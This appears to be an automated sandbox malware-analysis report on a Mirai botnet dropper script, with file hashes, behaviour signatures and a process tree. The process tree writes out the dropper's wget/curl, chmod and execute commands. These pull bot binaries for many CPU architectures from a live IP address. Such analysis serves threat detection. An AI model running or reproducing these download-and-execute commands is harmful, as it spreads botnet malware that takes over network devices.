Analysis

  • max time kernel
    144s
  • max time network
    147s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    15-12-2024 10:41

General

  • Target

    Oblivion121.sh

  • Size

    1KB

  • MD5

    90e5e43e5d798a41934d7f30e8208b24

  • SHA1

    0748835c71a1c54c8ea6bc7d0baf831f12eb0ef7

  • SHA256

    09e9f78247105e4500f5722131940080633c40ba32803d3f4b5b370ae5ae6233

  • SHA512

    ea39caa2f2242cd2c46b6f8841fb6e4bb8defdb2fb2dfb831f0dde5cee12707dc1aebc920c1e0834bcc7fab1aeb5caf69cf3ba56f1e6d9a5b9c4bd7b87020032

Malware Config

Extracted

Family

mirai

Botnet

MIRAI

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (100806) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 16 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 8 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads system network configuration 1 TTPs 8 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/Oblivion121.sh
    /tmp/Oblivion121.sh
    1⤵
    • Writes file to tmp directory
    PID:685
    • /usr/bin/wget
      wget http://188.132.232.157/IGz/IGz.x86
      2⤵
      • Writes file to tmp directory
      PID:693
    • /usr/bin/curl
      curl -O http://188.132.232.157/IGz/IGz.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:715
    • /bin/cat
      cat IGz.x86
      2⤵
        PID:716
      • /bin/chmod
        chmod +x cp IGz.x86 Oblivion121.sh systemd-private-220c6404c97a40ffa737e2d9f3f125bf-systemd-timedated.service-UnKc8d
        2⤵
        • File and Directory Permissions Modification
        PID:717
      • /tmp/cp
        ./cp x86
        2⤵
        • Executes dropped EXE
        PID:718
      • /usr/bin/wget
        wget http://188.132.232.157/IGz/IGz.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:720
      • /usr/bin/curl
        curl -O http://188.132.232.157/IGz/IGz.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:766
      • /bin/cat
        cat IGz.mips
        2⤵
        • System Network Configuration Discovery
        PID:767
      • /bin/chmod
        chmod +x cp IGz.mips IGz.x86 Oblivion121.sh systemd-private-220c6404c97a40ffa737e2d9f3f125bf-systemd-timedated.service-UnKc8d
        2⤵
        • File and Directory Permissions Modification
        PID:768
      • /tmp/cp
        ./cp mips
        2⤵
        • Executes dropped EXE
        • System Network Configuration Discovery
        PID:769
      • /usr/bin/wget
        wget http://188.132.232.157/IGz/IGz.mpsl
        2⤵
        • Writes file to tmp directory
        PID:771
      • /usr/bin/curl
        curl -O http://188.132.232.157/IGz/IGz.mpsl
        2⤵
        • Writes file to tmp directory
        PID:772
      • /bin/cat
        cat IGz.mpsl
        2⤵
          PID:783
        • /bin/chmod
          chmod +x cp IGz.mips IGz.mpsl IGz.x86 Oblivion121.sh systemd-private-220c6404c97a40ffa737e2d9f3f125bf-systemd-timedated.service-UnKc8d
          2⤵
          • File and Directory Permissions Modification
          PID:785
        • /tmp/cp
          ./cp mpsl
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:786
        • /usr/bin/wget
          wget http://188.132.232.157/IGz/IGz.arm4
          2⤵
            PID:791
          • /usr/bin/curl
            curl -O http://188.132.232.157/IGz/IGz.arm4
            2⤵
            • Writes file to tmp directory
            PID:804
          • /bin/chmod
            chmod +x cp IGz.arm4 IGz.mips IGz.mpsl IGz.x86 Oblivion121.sh
            2⤵
            • File and Directory Permissions Modification
            PID:817
          • /tmp/cp
            ./cp arm4
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Reads system network configuration
            • Reads runtime system information
            PID:818
          • /usr/bin/wget
            wget http://188.132.232.157/IGz/IGz.arm5
            2⤵
            • Writes file to tmp directory
            PID:822
          • /usr/bin/curl
            curl -O http://188.132.232.157/IGz/IGz.arm5
            2⤵
            • Writes file to tmp directory
            PID:836
          • /bin/chmod
            chmod +x cp IGz.arm4 IGz.arm5 IGz.mips IGz.mpsl IGz.x86 Oblivion121.sh
            2⤵
            • File and Directory Permissions Modification
            PID:840
          • /tmp/cp
            ./cp arm5
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Reads system network configuration
            • Reads runtime system information
            PID:841
          • /usr/bin/wget
            wget http://188.132.232.157/IGz/IGz.arm6
            2⤵
            • Writes file to tmp directory
            PID:845
          • /usr/bin/curl
            curl -O http://188.132.232.157/IGz/IGz.arm6
            2⤵
            • Writes file to tmp directory
            PID:849
          • /bin/chmod
            chmod +x cp IGz.arm4 IGz.arm5 IGz.arm6 IGz.mips IGz.mpsl IGz.x86 Oblivion121.sh
            2⤵
            • File and Directory Permissions Modification
            PID:851
          • /tmp/cp
            ./cp arm6
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Reads system network configuration
            • Reads runtime system information
            PID:852
          • /usr/bin/wget
            wget http://188.132.232.157/IGz/IGz.arm7
            2⤵
            • Writes file to tmp directory
            PID:856
          • /usr/bin/curl
            curl -O http://188.132.232.157/IGz/IGz.arm7
            2⤵
            • Writes file to tmp directory
            PID:860
          • /bin/chmod
            chmod +x cp IGz.arm4 IGz.arm5 IGz.arm6 IGz.arm7 IGz.mips IGz.mpsl IGz.x86 Oblivion121.sh
            2⤵
            • File and Directory Permissions Modification
            PID:862
          • /tmp/cp
            ./cp arm7
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Reads system network configuration
            • Reads runtime system information
            PID:863
          • /usr/bin/wget
            wget http://188.132.232.157/IGz/IGz.ppc
            2⤵
            • Writes file to tmp directory
            PID:867
          • /usr/bin/curl
            curl -O http://188.132.232.157/IGz/IGz.ppc
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:871
          • /bin/chmod
            chmod +x cp IGz.arm4 IGz.arm5 IGz.arm6 IGz.arm7 IGz.mips IGz.mpsl IGz.ppc IGz.x86 Oblivion121.sh
            2⤵
            • File and Directory Permissions Modification
            PID:873
          • /tmp/cp
            ./cp ppc
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Reads system network configuration
            • Reads runtime system information
            PID:874
          • /usr/bin/wget
            wget http://188.132.232.157/IGz/IGz.m68k
            2⤵
            • Writes file to tmp directory
            PID:878
          • /usr/bin/curl
            curl -O http://188.132.232.157/IGz/IGz.m68k
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:882
          • /bin/chmod
            chmod +x cp IGz.arm4 IGz.arm5 IGz.arm6 IGz.arm7 IGz.m68k IGz.mips IGz.mpsl IGz.ppc IGz.x86 Oblivion121.sh
            2⤵
            • File and Directory Permissions Modification
            PID:884
          • /tmp/cp
            ./cp m68k
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Reads system network configuration
            • Reads runtime system information
            PID:885
          • /usr/bin/wget
            wget http://188.132.232.157/IGz/IGz.sh4
            2⤵
            • Writes file to tmp directory
            PID:889
          • /usr/bin/curl
            curl -O http://188.132.232.157/IGz/IGz.sh4
            2⤵
            • Writes file to tmp directory
            PID:893
          • /bin/chmod
            chmod +x cp IGz.arm4 IGz.arm5 IGz.arm6 IGz.arm7 IGz.m68k IGz.mips IGz.mpsl IGz.ppc IGz.sh4 IGz.x86 Oblivion121.sh
            2⤵
            • File and Directory Permissions Modification
            PID:895
          • /tmp/cp
            ./cp sh4
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Reads system network configuration
            • Reads runtime system information
            PID:896

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • /tmp/IGz.x86

          Filesize

          72KB

          MD5

          acd283bf65ed831dd470134f403a9294

          SHA1

          3c0f8231e8089430e32ef8daea73597170a2b4c0

          SHA256

          8d4e7068fc99a8f0fc7e2b095c206fda09ade9ea61091c40405e90dd6894ed67

          SHA512

          0847ba7306de9087cd0a4f79f20de2da0baffa1e2d8c09d509b3bd573122593c935b6e39076393d08b9e2da12d89b55f70cbb3c99d42175c4daca848f00a8c72

        • /tmp/cp

          Filesize

          153KB

          MD5

          558fc8df865663836770a42334dd88c0

          SHA1

          0276f7274984928e64fbe354bb0df966d1eacb86

          SHA256

          b23789685e87bf3931a7cc2c8d33dcf4417332e5d5a5cd7778f97e063f8d9118

          SHA512

          561756714ec8c40ed714e350df57f3c494e0995cfb6e0ca9146d4b47651f66b20d2c11d0fd77f3f05b92ca4ec05f3ddfb532ac92287a316354d2ea432e3fea4e

        • /tmp/cp

          Filesize

          149KB

          MD5

          bb18c503add46a96288b7a15562dbbc7

          SHA1

          7d12569aea77474a3fa81c841d50fa0a2351f438

          SHA256

          b556b41e8071e7164f880963b24c4f2ae5fe28d2b71716e410a0f17a91eb607c

          SHA512

          9479a4c1784f08cfa7ee71b8d59841e81a581b3f9c0362ff8e11c6a4ccef2bf21460dafec49a770778cbb8e472fd7c000e00513e29363814bc6aa20ee34830ce